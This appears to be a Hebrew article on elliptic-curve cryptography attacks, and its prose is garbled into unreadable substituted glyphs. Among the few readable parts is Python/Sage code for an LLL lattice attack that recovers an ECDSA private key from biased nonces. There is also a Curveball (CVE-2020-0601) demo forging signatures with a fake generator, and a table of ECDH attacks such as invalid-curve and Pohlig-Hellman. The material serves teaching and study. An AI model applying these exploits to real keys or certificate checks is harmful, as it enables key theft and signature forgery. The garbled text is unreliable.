 ˸˞˶˵ˮ ˣˤ ˢ˧˰˟ .˭˸˧ˮˢ ˪˩˩Shortest Vector Problem )SVP ˸˟˷˥ˮ ˞˧ˢˣ ,(NP- ˫˧ˬ˸˧˶ˣˠ˪˞ ˫˧ˬ˧˧˵ .ˢ˷˵

 ˶˸ˣ˧ ˢ˪˵ ˨˞ ˢˬˣˡ ˢ˧˰˟ ˫˧˶˸ˣ˲˷- ˶ˬˣ˪˩ ,ˣˢ˷˪˩ ˶˴˵ ˶ˣ˦˵ˣ ˸˞˧˴ˬ  ˶˴˵ˢ ˶ˣ˦˵ˣ˪ "˟ˣ˶˵" ˸˧˯˥˧ ˶ˣ˦˵ˣ

 ˸˞˶˵ˮ ˣˤ ˢ˧˰˟ .ˠ˧˶˯˟ ˶˸ˣ˧˟Closest Vector Problem )CVP ˞˶˵ˮ ˢ˸ˣ˞ ˫˧˶˸ˣ˲˷ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˡ˥˞ˣ ,(

 ˫˸˧˶ˣˠ˪˞Lenstra-Lenstra-Lovász )LLL.ˢ˶ˣ˥˷ ˞˯˲ˣ˵˩ ˢˤˢ ˫˸˧˶ˣˠ˪˞˟ ˷ˬ˸˷ˮ ˣˤ ˢ˲˵˸ˬ˟ .( 

 ˭˸ˮ˧ˢ˟Ὠ ˸˞ ˪˧˩ˬ˷ ˠ˧˶˯ ˸ˣˮ˟˪ ˭˸˧ˮ ,˸ˣˬˣ˸˥ ˸ˣ˰ˡˣˢ ˶ˣ˦˵ˣˢὯȟȣȟὯ   ˧˶˟˧˞ˬ ˡ˥˞ ˪˩ ˶˷˞˩ ,

 ˨˶˰ ˞ˣˢ ˶ˣ˦˵ˣˢὯ .˸˥˞ ˢˬ˧˸˥˪ ˫˧˞˸ˬ˷  ˫˸˧˶ˣˠ˪˞ˢLLL  ˠ˧˶˯˟ ˶˸ˣ˧˟ ˶˴˵ˢ ˶ˣ˦˵ˣ˪ ˟ˣ˶˧˵ ˣˮ˪ ˞˴ˬ˧

 ˧˩˶˰˷ ˰ˣˡ˧˷ ˭ˣˣ˧˩ˬ .ˢˤˢὯ  ˸ˣ˥˲˪ ˪˧˩˧ ˞˴ˬ˧ ˫˸˧˶ˣˠ˪˞ˢ˷ ˶˴˵ˢ ˶ˣ˦˵ˣˢ ˢˢˣ˟ˠ ˸ˣ˶˟˸˯ˢ˟ ,˫˧ˮ˦˵ ˫ˢ

 ˶˟˧˞Ὧ ˞˴ˬ˷ ˰ˠ˶˟ .˭ˣ˩ˮ ˡ˥˞ ˣˮὯ  ˢ˲˵˸ˬ˟ ˣˮ˧˞˶˷ ˧˲˩ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˤ˞ ˭ˣ˩ˮ ˡ˥˞

.˸ˬˡˣ˵ˢ 

 ˵ˮ˧˪ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˫˧˯ˮ˶˲˶˟ ˧˸˲˶˧˴ .ˣ˪˷ ˯˧˯˟ˢ ˧˶ˣ˦˵ˣ ˸˞ ˶˧ˡˠˢ˪ ˨˧˶˴ ,ˢˤˢ ˠ˧˶˯ˢ ˸˞ ˸ˣˮ˟˪ ˧ˡ˩

 ˠ˧˶˯ˢ ˪˷ ˯˧˯˟ˢ ˧˶ˣ˦˵ˣ ˸˞ ˠ˴˧˧˪ ˭˸˧ˮ ,˸˧ˮ˩˦ .˫˧˶ˡˠˣˬ ˢ˪˞ˢ ˯˧˯˟ˢ ˧˶ˣ˦˵ˣ ˨˧˞ ˶˧˟˯ˬ˷ ˶ˬ˞ˬ˪

˩ ,ˢ˴˧˶˦ˬ˩ ˫˸˧˶ˣˠ˪˞ ˪˷ ˵ˣ˧ˡˢ ˸˞ ˶˲˷˪ ˧ˡ˩ .ˡ˥˞ ˯˧˯˟ ˶ˣ˦˵ˣ ˧˶˟˧˞ˬ ˸˟˩˶ˣˬ ˢ˟ ˢ˶ˣ˷ ˪˩˷ ˨LLL ,

 ˧˩˶˰ ˪˷ ˧ˣ˲˴ˢ ˪ˡˣˠˢ ˪˰ ˰ˡ˧ˬ ˸ˣ˪˧˩ˬ˷ ˸ˣˡˣˬ˰ ˧˸˷ ˣˤ ˢ˴˧˶˦ˬ˪ ˱˧˯ˣˢ˪ ˳˪ˬˣˬὯ  ˭˧˟ ˯˥˧ˢ ˪˰ˣὯ ˪-ὲ .

.˧˸˲˶˧˴˷ ˯ˮ˶˲˶˟ ˶˟˯ˣˬ ˫ˠ ˢˤˢ ˶ˣ˲˧˷ˢ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  оу 
 

:ˢ˲˵˸ˬˢ ˸˞ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ 

from ecdsa.ecdsa import curve_256, generator_256, Public_key, Private_key  
from Crypto.Util.number import bytes_to_long, long_to_bytes  
from hashlib import sha1 
import random 
 
 
def build_matrix ( signatures , bias , q):  
    # M matrix should be:  
    """  
    [  
            B 0   m'1 m'2 m'2 ... m'n  
            0 B/q r'1 r'2 r'3 ... r'n  
            0 0  
            0 0        q * I  
            0 0  
    ]  
    where:  
        m' = s^ - 1 * m  
        r' = s^ - 1 * r  
    """  
 
    # Construct the first 2 rows of M:  
    row1 = [bias, 0]  
    row2 = [ 0, bias / q]  
    for m, r, s in signatures:  
        row1.append((inverse_mod(s, q) * m) % q)  
        row2.append((inverse_mod(s, q) * r) % q)  
    top_rows = Matrix(QQ, [row1, row2])  
 
    # Construct the q*I block along with 2 columns of zeros  
    zero_col s = zero_matrix(QQ, len (signatures), 2)  
    qI = q * identity_matrix(QQ, len (signatures))  
    bottom_rows = block_matrix([[zero_cols, qI]])  
 
    # Combine all rows into one matrix  
    M = top_rows.stack(bottom_rows)  
    return M 
 
 
def find_private_key ( L, signatures , public_key ):  
    # Check if any valid k was found in L  
    generator = public_key.generator  
    q = generator.order()  
    for row in L.rows():  
        for i in range ( len (signatures)):  
            m,r,s = signatures[i]  
            # Skip the firs t two vector components we used to improve LLL  
            possible_k = row[i +2]  
            # LLL might have swapped the sign of the found short vectors  
            for k in [possible_k, - possible_k]:  
                d = inverse_mod(r,q) * (k * s- m) % q 
                if d* generator == public_key.point:  
                    return d 
 
 
# Select a curve and generator  
curve = curve_256  
generator = generator_256  
q = int (generator_256.order())  
 
# Create private key and public key  
secret_key = 1793056234309773077862125006843383726029262764680727851636 
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public_key = Public_key(generator, generator * secret_key)  
private_key = Private_key(public_key, secret_key)  
 
# Sign some messages  
messages_to_sign = [  
    "And then I go and spoil it all" ,  
    "By saying somethin' stup id like" ,  
    "I love you"  
]  
 
signatures = []  
for message in messages_to_sign:  
    message_hash = bytes_to_long(sha1(message.encode()).digest())  
    k = bytes_to_long(sha1(long_to_bytes(random.randrange(q))).digest())  
    signature = private_key.sign(messa ge_hash, k)  
    signatures.append((message_hash, signature.r, signature.s))  
 
# Given the messages and their signatures, retrieve the private key  
 
# Build the matrix out of the signatures  
# We know that k < 2^160 because it is the result of sha1  
bias = 2^160 
M = build_matrix(signatures, bias, q)  
 
# Calculate the closest short vector  
L = M.LLL()  
 
# Find the private key!  
found_key = find_private_key(L, signatures, public_key)  
assert found_key == secret_key  
print ( "success!" )  
print ( "The secret is:" , long_to_byte s(found_key).decode())  

 ˫˧˶˴ˣ˧ .˫˧˞˸ˬ ˧˶ˣ˟˧˴ ˥˸˲ˬ ˣ˪ ˫˧˟˷˥ˬˣ ,˧˦˶˲ ˥˸˲ˬˣ ˸˧˦˶ˡˮ˦˯ ˢˬˣ˵˰ ˫˧˶˥ˣ˟ ˢˤ ˡˣ˵ ˰˦˵˟о 

 ˫˰ ˭ˢ˧˪˰ ˫˧ˬ˸ˣ˥ˣ ˸ˣ˰ˡˣˢо  ˧˩˶˰Ὧ  ˸˧˧˴˵ˮˣ˲ ˪˷ ˢ˞˴ˣ˸ ˫ˢ˷ ˫˧˧˞˶˵˞SHA-1 ˸˞ ˫˧˶˴ˣ˧ ˭˩ˬ ˶˥˞˪ .

 ˫˸˧˶ˣˠ˪˞ ˸˞ ˢ˧˪˰ ˫˧˪˧˰˲ˬˣ ,˶ˬ˞ˬ˟ ˶˟˯ˣˬ˷ ˧˲˩ ˠ˧˶˯ˢ ˯˧˯˟˪ ˢˬ˧˞˸ˬˢ ˢ˴˧˶˦ˬˢLLLˣ˯˟˪ . ,˱

 ˪˷ ˭ˣ˩ˮ ˨˶˰ ˫˞ ˫˧˵ˡˣ˟ˣ ˸˪˟˵˸ˬˢ ˢ˴˧˶˦ˬˢ ˸ˣ˶ˣ˷ ˪˰ ˫˧˶˟ˣ˰Ὧ  .˭ˢˬ ˸˥˞˟ ˞˴ˬˮ ˣˢ˷˪˩ 

 ˨ˣ˸ˬ ˧˦˶˲ˢ ˥˸˲ˬˢ ˟ˣ˷˧˥ ˧ˡ˧ ˪˰ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ˢὯ ˫˞ ˢ˵˧ˡ˟ˣ ,˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˟ ˣˮ˧˞˶˷ ˧˲˩ ,

 ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ .˭ˣ˩ˮ ˭˩˞ ˞ˣˢ ˞˴ˬˮ˷ ˧˦˶˲ˢ ˥˸˲ˬˢ˷ ˫˧˞ˡˣˣˬ ˱ˣ˯˟˪ .˭ˣ˩ˮ ˭˩˞ ˪˟˵˸ˢ˷ ˥˸˲ˬˢ

:˞ˣˢ 

success!  
The secret is: I am Jack's broken heart  

 ˫˸˧˶ˣˠ˪˞ ˸ˣ˧˩ˣ˟˧˯˩ ˞˧ˢ ˣˤˢ ˢ˲˵˸ˬˢ ˸ˣ˧˩ˣ˟˧˯LLL ˞˧ˢ˷ ,ὕὨÌÏÇὄ  ˶˷˞˩ὄ  ˨˶ˣ˞ ˸˞ ˭˧˧˴ˬ

) ˢ˧˦ˢˢBias ˪˷ (Ὧ )ς ˣ ,(ˣˮ˪˷ ˢ˶˵ˬ˟- Ὠ) ˸ˣˬˣ˸˥ˢ ˸ˣ˰ˡˣˢˢ ˶˲˯ˬ ˸˞ ˭˧˧˴ˬ3  .(ˣˮ˪˷ ˢ˶˵ˬ˟

 ˣˢˬ ˢ˪˞˷ˢ ˸˪˞˷ˮ ˪˩ˣˮ˷ ˧ˡ˩ ˭ˢ˟ ˷ˬ˸˷ˢ˪ ˫˧˷˶ˡˮ ˣˮ˥ˮ˞˷ ˸ˣˬˣ˸˥ ˸ˣ˰ˡˣˢ ˪˷ ˧˪ˬ˧ˮ˧ˬˢ ˶˲˯ˬˢ

 ˞˧ˢ ˨˩˪ ˢ˟ˣ˷˸ˢ .ˢ˲˵˸ˬˢ ˸˞ ˳˧˶ˢ˪Ὠ ὕ  ˶˷˞˩ὲ ˣ ˶ˣ˦˶ˮˠˢ ˶ˡ˯ ˞ˣˢ- ὄ ˢ˧˦ˢˢ ˞ˣˢ

)Bias.˶ˬ˞ˬˢ ˱ˣ˯˟ ˢˤ ˞˷ˣˮ˪ ˧˸˲˶˧˴˷ ˧ˮ˷ˢ ˯ˮ˶˲˶˟˷ ˶ˬ˞ˬ˟ ˰˧˲ˣˬ ˨˩˪ ˶˟˯ˢ .( 
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 ˭˸˧ˮ ˪˰ˣ˲˟ ˪˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˫˧˰ˣˡ˧ ˣ˟˷ ˫˧˶˵ˬ˟ ˫ˠ ˣˤ ˢ˲˵˸ˬ ˪˷ ˢ˧˴˞˧˶ˣ ˳˧˶ˢ˪Ὧ ˫˧˦˧˟ ˫˸˯ ˣ˞ ,

 ˨ˣ˸ˬ ˫˧ˬ˧ˣ˯ˬὯ ˵˶ ˰ˣˡ˧ ˫˞ ˣ˪˧˲˞ ˣ˞ ,ˡ˥˞ ˦˧˟ ˵˶ ˪˷ ˨˶˰ ˰ˣˡ˧ ˫˞ ˣ˪˧˲˞ ˢ˲˵˸ˬˢ ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮ .

ˬ ˢ˪ˣˡˠ ˸ˣ˶˟˸˯ˢ˟ ˡ˥˞ ˦˧˟ ˪˷ ˣ˩˶˰ ˸˞-рл҈Η ˣ˰ˡˣˢ ˶˸ˣ˧ ˢ˟˶ˢ ˨˧˶˴ ˢ˪˞ ˫˧˶˵ˬ˟˷ ˭˟ˣˬ˩ ˨˞ ˸

.ˢ˲˵˸ˬˢ ˸˞ ˰˴˟˪ ˧ˡ˩ ˸ˣˬˣ˸˥ 

 

˭˧˵˸ ˶ˣ˦˶ˮˠˢ˷ ˢ˵˧ˡ˟ ˶˯ˣ˥ 

 ˫˧˩˶˰ˢ ˠˣˤ ˸˞ ˸ˬ˞ˬˢ ˡ˴˪ ˥˪ˣ˷ ˫˸ˣ˥ˢ ˡ˴ˢ ,ˢˬ˧˸˥ ˸ˣˬ˧˞ ˨˧˪ˢ˸˟˷ ˣˮ˧˞˶ὶ x-ί ˫˧ˮ˲ˡ˲ˡ˟ .

 ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ ˫˧˷ˬˬˬ˷HTTPS ˟ ˢ˪˞ˢ ˫˧˩˶˰ˢ ˠˣˤ ˸˞ ˥ˣ˪˷˪ ˠˣˢˮ ,˪˷ˬ˪-Certificate  ˫˧ˬ˰˲˪ ˪ˣ˩˧˷

ˢ˷ ˢˬˣ˵˰ˢ ˪˰ ˫˧ˮˣ˸ˮ ˫ˠ ˪˧˩ˢ˪ ˢˬˣ˵˰ˢ ˧ˮˣ˸ˮ˷ ˞ˡˣˣ˪ ˨˧˶˴ ˸ˬ˞ˬˢ ˡ˴ˢ .ˢ˟ ˷ˬ˸˷ˢ ˫˸ˣ˥ˢ ˡ˴

˟ ˫˧˞˴ˬˮ˷-Certificate  ˸ˣ˪ˣ˪˰ ,˸˞ˤ ˢ˷ˣ˰ ˞˪ ˞ˣˢ ˫˞ .˭˩˪ ˫ˡˣ˵ ˢ˧˪˰ ˫˩˯ˣˢ˷ ˢˬˣ˵˰˪ ˫˧ˬ˧˞˸ˬ ˭˩˞

.˸ˣ˧˰˟ ˶˴ˣˣ˧ˢ˪ 

 ˧˦˶˲ ˥˸˲ˬ ˷˧ ˯˧˪˞˪ ˸ˬ˧ˣ˯ˬ ˢˬˣ˵˰˟˷ ˥˧ˮˮὨ  ˧˶ˣ˟˧˴ ˥˸˲ˬˣὖ  ˫˧˧˵˸ˬ ˶ˬˣ˪˩ ,ˣ˪ ˫˧˞˸ˬ˷

ὖ ὨὋ  ˶ˣ˦˶ˮˠˢ ˶ˣ˟˰Ὃ  ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˶ˤ˰˟ .ˣˤˢ ˢˬˣ˵˰˟˷Ὠ ˸ˣ˰ˡˣˢˢ ˪˰ ˫ˣ˸˥˪ ˢ˪ˣ˩˧ ˯˧˪˞ ,

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˶ˡˠˢ˟ ˣˮ˧˞˶˷ ˧˲˩ ˢ˪˷ECDSA ˫ˠ ˷ˬ˸˷ˬˢˬ ˪˟˵ˬ ˢˬ˧˸˥ˢ ˸˞ ˸ˬ˞ˬˢ ˡ˴ˢ˷ ˥˧ˮˮ .

 ˶ˣ˦˶ˮˠˢ ˸˞Ὃ ˱˵ˣ˸ .˫˩˯ˣˬˢ ˶ˣ˦˶ˮˠˢ ˭˩˞ ˞ˣˢ ˷ˬ˸˷ˬˢˬ ˪˟˵˸ˢ˷ ˶ˣ˦˶ˮˠˢ˷ ˞ˡˣˣˬ ˞˪ˣ , ˪ˣ˩˧

 ,˯˧˪˞ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˞˧ˢ˷ ˢˡˣ˵ˮˢ ˸˞ ˶ˣ˦˶ˮˠ˩ ˥ˣ˪˷˪Ὃ ὖ ˧˦˶˲ ˥˸˲ˬ˩ ˶˥˟˧ ˱˵ˣ˸ˢ .

 ˨˶˰ˢ ˸˞ "˱˧ˣˤˬ"Ὠ ρ ˫˧˧˵˸ˬ˷ ˶ˣ˶˟ ˭˞˩ˬˣ ,ὖ ὨὋ ˪˰˟ ˞ˣˢ˷ "˥˧˩ˣˢ˪" ˪ˣ˩˧ ˱˵ˣ˸ˢ ˶ˬˣ˪˩ .

ˣ˩˧ ˱˵ˣ˸ ˨˩ .˯˧˪˞ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˪ ˫˧˞˸ˬ˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˟˷˥˪ˣ ,ˢ˴˶˧˷ ˢ˰ˡˣˢ ˪˩ ˶ˣ˴˧˪ ˪

 ˧˩˶˰ ˠˣˤ ˢ˶ˣ˟˰ὶ x-ί  ˫˰ ˪˧ˠ˶ ˭˲ˣ˞˟Ὠ.ˢ˥˪˴ˢ˟ ˸ˬˣ˞˸ ˪˟˵˸˸˷ ˢˬ˧˸˥ˢˣ , 

 ˞ˣˢ˷ ,˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˪˷ "˫˧˪˰˟"ˢ ˭˩˞ ˞ˣˢ˷ ˥˧˩ˣˬ ˫˸ˣ˥ˢ ˡ˴ˢ ,ˢˬ˧˸˥ˢ ˨˧˪ˢ˸˟ ,˸˧˟˧˦˧˞ˣ˦ˮ˧˞

˥˵˪ ˫˧ˡ˰˴ ˢˬ˩ ˰ˡˣ˧˷ ˡ˧˥˧ˢ ˞ˣˢ ˧˩ ˢˤ .ˢˬˣ˵˰ˢ ˪˰ "ˡ˰˧" ˸ˡˣ˵ˮ ˫˴˰˟ ˰˧ˠˢ˪ ˧ˡ˩ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮˬ ˸

 ˸ˡˣ˵ˮ ˭˩˞ ˞˧ˢ ˷ˬ˸˷ˬˢˬ ˢ˪˟˵˸ˢ˷ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ˷ ˵ˡˣ˟ ˞˪ ˸ˬ˞ˬˢ ˡ˴ˢ ˫˞ .ˡ˰˧ˢ ˸ˡˣ˵ˮ˪

 ˫˧ˡ˰˴ˢ ˸ˣˬ˩˷ˣ ,ˡ˰˧ˢ ˸ˡˣ˵ˮ ˞˧ˢ ˣ˪˷ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ˷ ˦˧˪˥ˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ ˤ˞ ,˸˧˸˧ˬ˞ˢ ˢ˪˥˸ˢˢ

˧˸˥ˢˣ ,˫˧ˢˤ ˫˧˶˞˷ˮ ˢˬ˧˸˥ˢ ˸ˣˬ˧˞ ˧˵˪˥ ˶˞˷ ˪˩ .˯˲˞ ˞˧ˢ ˢˮˬˬ ˸˥˵˪ ˨˧˶˴˷ .ˢ˥˪˴ˢ˟ ˸ˬˣ˞˸ ˢˬ

 ˸˞˶˵ˮ ˣˤˢ ˢ˲˵˸ˬˢCurveball. 

 ˣˢ˷˪˩ ˨˶˰ ˶˥˟˧ ˱˵ˣ˸ˢ .˫˧˲˯ˣˮ ˫˧˩˶˰ ˫˰ ˢ˲˵˸ˬˢ ˸˞ ˪˧˪˩ˢ˪ ˭˸˧ˮ ˧˪˪˩ ˭˲ˣ˞˟ὼ ˸˞ ˟˷˥˧ˣ ,

Ὃ ὼὖ ˢ˧ˢ˧ ˱˧ˣˤˬˢ ˧˦˶˲ˢ ˥˸˲ˬˢ .Ὠ ὼ   άέὨ ὲ ˫˧˧˵˸ˬ˷ ˶ˣ˶˟ ˤ˞ .ὨὋ ὼ ὼὖ

ὖ . 
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:ˢ˲˵˸ˬˢ ˸˞ ˫˧ˠˡˬ ˞˟ˢ ˡˣ˵ˢ 

from ecdsa.ecdsa import generator_256  
from Crypto.Util.number import bytes_to_long  
from hashlib import sha256 
import random 
 
def hash_message( message):  
    return bytes_to_long(sha256(message.encode()).digest())  
 
def verif y( public_key , G, message, r , s):  
        n = G.order()  
        if r < 1 or r > n -  1 or s < 1 or s > n- 1:  
            return False  
        hash = hash_message(message) 
        u1 = ( hash * inverse_mod(s, n)) % n 
        u2 = (r * inverse_mod(s, n)) % n 
        P = u1 * G + u2 * public_key  
        return P.x() % n == r  
 
def sign ( private_key , G, message):  
    n = G.order()  
    k = random.randrange(n)  
    hash = hash_message(message) 
 
    r = (k * G).x() % n 
    s = inverse_mod(k, n) * ( hash + r * private_key)  % n 
    return r, s  
 
# Create private and public keys  
G = generator_256  
n = G.order()  
private_key = random.randrange(n)  
public_key = private_key * G 
 
# Sign a message and verify it  
message = "Let me be the one that shines with you"  
r, s = sign(private_key , G, message)  
assert verify(public_key, G, message, r, s)  
 
# Create a fake private key and generator that match the original public key  
x = random.randrange(n)  
fake_G = x * public_key  
fake_private_key = inverse_mod(x, n)  
assert fake_private_key != private_ key 
assert fake_G != G 
 
# Sign an evil message and verify it using the same public key  
evil_message = "Where did I go wrong?"  
r, s = sign(fake_private_key, fake_G, evil_message)  
assert verify(public_key, fake_G, evil_message, r, s)  

ˣ˦˶ˮˠ ˫˧˶˥ˣ˟ ˢˤ ˡˣ˵ ˰˦˵˟ ˞˧ˢ˷ ˫˧˞ˡˣˣˬˣ ˢ˰ˡˣˢ ˪˰ ˫˧ˬ˸ˣ˥ .˧˶ˣ˟˧˴ ˥˸˲ˬˣ ˧˦˶˲ ˥˸˲ˬ ,˰ˣˡ˧ ˶

 ˥˸˲ˬ˪ ˫˧ˬ˧˞˸ˬ ˫ˢ˧ˮ˷˷ ˨˩ ,˱˧ˣˤˬ ˶ˣ˦˶ˮˠˣ ˱˧ˣˤˬ ˧˦˶˲ ˥˸˲ˬ ˫˧˶˴ˣ˧ ˭˩ˬ ˶˥˞˪ .ˢ˥˪˴ˢ˟ ˸˸ˬˣ˞ˬ

 ˥˪˴ˣˬ ˸ˣˬ˧˞ ˰˴˟˸ˬ ˱ˣ˯˟˪ˣ ,˱˧ˣˤˬˢ ˥˸˲ˬˢ ˫˰ ˸˶˥˞ ˢ˰ˡˣˢ ˪˰ ˢˬ˧˸˥ ˸˰˴˟˸ˬ .˧˶ˣ˵ˬˢ ˧˶ˣ˟˧˴ˢ

˸˶ˤ˰˟ ˸˲˧ˣˤˬˢ ˢˬ˧˸˥ˢ ˪˷  ˞˪ ˸ˣˬ˧˞ˢ ˫˸˧˶ˣˠ˪˞˷ ˞˧ˢ ˢˤ ˡˣ˵˟ ˢ˧˰˟ˢ .˧˶ˣ˵ˬˢ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ

 ˶ˣ˦˶ˮˠˢ˷ ˞ˡˣˣˬὋ .˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˪ ˫˞ˣ˸  ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˣˮ˞˴ˬ ˞˪ ˣˤ ˢ˲˵˸ˬ˟ ˫ˮˬ˞

 ˫˰ .ˢ˥˪˴ˢ˟ ˸ˬˣ˞˸˷ ˢˬ˧˸˥ ˶ˣ˴˧˪ˣ ,ˢˬ˧˸˥ ˸ˣˬ˧˞˪ ˧ˣˠ˷ˢ ˷ˣˬ˧ˬˢ ˸˞ ˪˴ˮ˪ ˪ˣ˩˧ ˱˵ˣ˸ ˨˞ ,˷ˬ˸˷ˬˢ

˥ ˶ˣ˴˧˪ ˪ˣ˩˧ ˞˪ ˱˵ˣ˸ ˞˪ ,˸˞ˤ.ˢˬ˧˸˥ ˸ˣˬ˧˞ ˪˷ ˭˧˵˸ ˷ˣˬ˧ˬ˟ ˢ˥˪˴ˢ˟ ˣ˸ˬˣ˞˧ ˭˩˞˷ "˸ˣ˧˸˧ˬ˞" ˸ˣˬ˧˸ 
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 ˸˶ˣ˦˵˦˧˩˶˞˟ ˸ˬ˧˧˵ ˢ˸˧˧ˢ˷ ˸˧˸˧ˬ˞ ˢ˷˪ˣ˥ ˣˤ˷ ˭˧˧˴˪ ˭˧˧ˮ˰ˬCryptoAPI  ˪˷Windows ˢ˧˴˵ˮˣ˲˟ .

 ˪˷ ˢˬ˧˸˥ ˸ˬ˞˪ ˢˡ˰ˣˮ˷Certificate ˢˡ˧ˬ˟ ˢˬˣ˵˰ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˪˷ ˢ˵˧˲˯ˬ ˢ˵˧ˡ˟ ˢ˸˧˧ˢ ˞˪ ,

˟ ˣ˪˪˩ˮ ˫ˢˣ-Certificate  ˥˸˲ˬ˪ ˫˧˞˸ˬ˷ ˶ˣ˦˶ˮˠˢ ˭˩˞ ˞ˣˢ ˶ˣ˦˶ˮˠˢ˷ ˢ˵˧ˡ˟ ˢ˸˧˧ˢ ˞˪ ,˦˶˲˟ .ˣˬ˴˰

 ˶ˣ˴˧˪ ˪˩˧ ˱˵ˣ˸ .˧˶ˣ˟˧˴ˢCertificate-) ˫˧ˮˬ˧ˢˬ ˫˧˟˷˥ˮ˷ ˫˧˲˧ˣˤˬ ˫˧Trusted ˫ˢ ˣ˪˧˞˩ ˫˧˞˶ˮ ˫ˢ ˧˩ (

 ˧ˡ˧ ˪˰ ˣˬ˸˥ˮCertificate Authority ˪ ˢˬˣ˵˰ ˪˷ ˫˧˧ˮˣˡˤ ˸ˣˡ˷ ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˰˴˟˸ˢ ˶˟ˡˢ .˭ˬ˧ˢˬ-

Certificateˢ ˭ˣˠ˶˞ ˧ˡ˧ ˪˰ ˢ˸˪ˠ˸ˢ ˢ˷˪ˣ˥ˢ .˧˸˶˞˧˸˷ ˢ˶ˣ˴˟ ˶ˣ˦˶ˮˠˢ ˸˶˧˥˟ˣ ,-NSA ˸ˮ˷˟ ˢˮ˵ˣ˸ ,

нлнл  ˶˲˯ˬˢ ˸˞ ˢ˪˟˧˵ˣCVE-2020-0601. 

 

 

 ˪˰ ˸ˣ˰ˣˡ˧ˢ ˸ˣ˲˵˸ˬˢ ˫ˣ˩˧˯ECDH 

ˢ˧˰˟ˢ ˠˣ˯ ˢ˧˰˟ˢ ˢ˲˵˸ˬˢ ˸ˡ˟ˣ˰ ˢ˲˵˸ˬˢ ˨˧˞ ˢ˲˵˸ˬˢ ˸ˣ˧˩ˣ˟˧˯ 

 ˢˬˣ˵˰ ˸˶˧˥˟

 ˞˪ ˶ˣ˦˶ˮˠ ˫˰

˥ˣ˦˟ 

 ˶ˣ˦˶ˮˠˢ ˶ˡ˯ὲ 

˞ˣˢ ˧ˡˬ ˭˦˵ 

Baby-Step 

Giant-Step 
Meet In The Middle ὕЍὲ 

 ˶ˣ˦˶ˮˠˢ ˶ˡ˯ὲ 

˵˪˥ ˶˲˯ˬ ˞ˣˢ 

Pohlig-

Hellman 

 ˵ˣ˶˧˲ὲ  ˸˲˧˵˸ ,˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪

 ˡˣ˥˧˞ˣ ,ˡ˶˲ˮ˟ ˫ˢˬ ˡ˥˞ ˪˩

˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ ˫˰ ˢ˞˴ˣ˸˪ ὕ ὴ  

 ˶˷˞˩ὴ  ˫˶ˣˠˢ ˞ˣˢ

 ˶˸ˣ˧˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ

 ˪˷ ˵ˣ˶˧˲˟ὲ 

 ˢˬˣ˵˰ ˸˶˧˥˟

 ˞˪ ˶ˣ˦˶ˮˠ ˫˰

˥ˣ˦˟ +  ˸˶˧˥˟

 ˢ˶ˣ˴˟ ˥˸˲ˬ

ˢ˥ˣ˦˟ ˞˪ 

 ˶ˣ˦˶ˮˠˢ ˶ˡ˯ὲ 

˦˰ˬ˩ ˶˲˯ˬ ˞ˣˢ-

 ˭˦˵ ˥˸˲ˬˢˣ ˵˪˥

˸˧˯˥˧ 

Pohlig-

Hellman 

˶˲ˣ˷ˬ 

 ˵ˣ˶˧˲ὲ  ˢ˶˯ˢ ,˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪

 ˪˩ ˸˲˧˵˸ ,˧ˡˬ ˫˧˪ˣˡˠ ˫˧ˬ˶ˣˠ ˪˷

 ˢ˞˴ˣ˸˪ ˡˣ˥˧˞ˣ ,ˡ˶˲ˮ˟ ˫ˢˬ ˡ˥˞

˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ ˫˰ 

 ˧ˣˠ˷ ˷ˣˬ˧ˬ

 ˪˷ECDH 

 ˢ˵˧ˡ˟ ˶˯ˣ˥

 ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ˷

 ˪˟˵˸ˢ˷

 ˞˴ˬˮ ˷ˬ˸˷ˬˢˬ

ˢˬˣ˵˰ˢ ˪˰ 

Invalid Curve 

Attack 

 ˪˰ ˭˦˵ ˶ˡ˯ˬ ˸ˣˡˣ˵ˮ ˸˥˧˪˷

 ,˧˶ˣ˟˧˴ ˥˸˲ˬ ˶ˣ˸˟ ˸ˣ˧ˮˣˡˤ ˸ˣˬˣ˵˰

 ˡˣ˥˧˞ˣ ,ˡ˶˲ˮ˟ ˭ˢˬ ˸˥˞ ˪˩ ˸˲˧˵˸

˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ ˫˰ ˢ˞˴ˣ˸˪ 

ὕὲ  

 ˶˷˞˩ὲ ˯ˢ ˞ˣˢ ˶ˡ

 ˫˧˶ˡ˯ˢ ˭˧˟ˬ ˶˸ˣ˧˟ ˪ˣˡˠˢ

˸ˣ˧ˮˣˡˤˢ ˸ˣˡˣ˵ˮˢ ˪˷ 

 ˸˶˧˥˟

 ˫˧˶˦ˬ˶˲

 ˢˬˣ˵˰˟

